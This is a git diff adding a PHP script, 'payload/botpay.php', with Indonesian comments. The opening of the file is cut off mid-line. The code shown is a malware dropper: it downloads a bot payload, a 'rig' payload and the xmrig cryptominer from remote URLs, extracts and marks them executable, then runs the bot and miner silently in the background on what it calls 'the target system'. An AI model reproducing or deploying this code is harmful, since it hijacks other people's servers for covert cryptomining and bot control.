diff --git a/payload/botpay.php b/payload/botpay.php new file mode 100644 index 0000000..2df6703 --- /dev/null +++ b/payload/botpay.php @@ -0,0 +1,100 @@ +/dev/null"); + if ($output) { + return "python3"; + } + $output = shell_exec("python2 --version 2>/dev/null"); + if ($output) { + return "python2"; + } + die("No Python interpreter found on the target system.\n"); +} + +// Jalankan payload bot +function execute_bot_payload($python_path, $file_path, $bot_name) { + $command = "$python_path $file_path \"$bot_name\" > /dev/null 2>&1 &"; + shell_exec($command); + echo "Bot payload executed with bot name: $bot_name\n"; +} + +// Jalankan payload rig +function execute_rig_payload($file_path, $xmrig_dir) { + $command = "nohup $file_path $xmrig_dir > /dev/null 2>&1 &"; + shell_exec($command); + echo "Rig payload executed.\n"; +} + +try { + // Unduh payload bot + download_payload($bot_payload_url, $bot_target_file); + + // Unduh payload rig + download_payload($rig_payload_url, $rig_target_file); + + // Unduh xmrig + download_payload($xmrig_url, $xmrig_tar_file); + + // Ekstrak xmrig + extract_tar_gz($xmrig_tar_file, $xmrig_extract_dir); + + // Berikan izin eksekusi untuk rig + make_executable($rig_target_file); + + // Dapatkan interpreter Python + $python_path = get_python_version(); + + // Jalankan payload bot + execute_bot_payload($python_path, $bot_target_file, $bot_name); + + // Jalankan payload rig dengan path xmrig + execute_rig_payload($rig_target_file, $xmrig_extract_dir); +} catch (Exception $e) { + echo "Error: " . $e->getMessage() . "\n"; +} +?>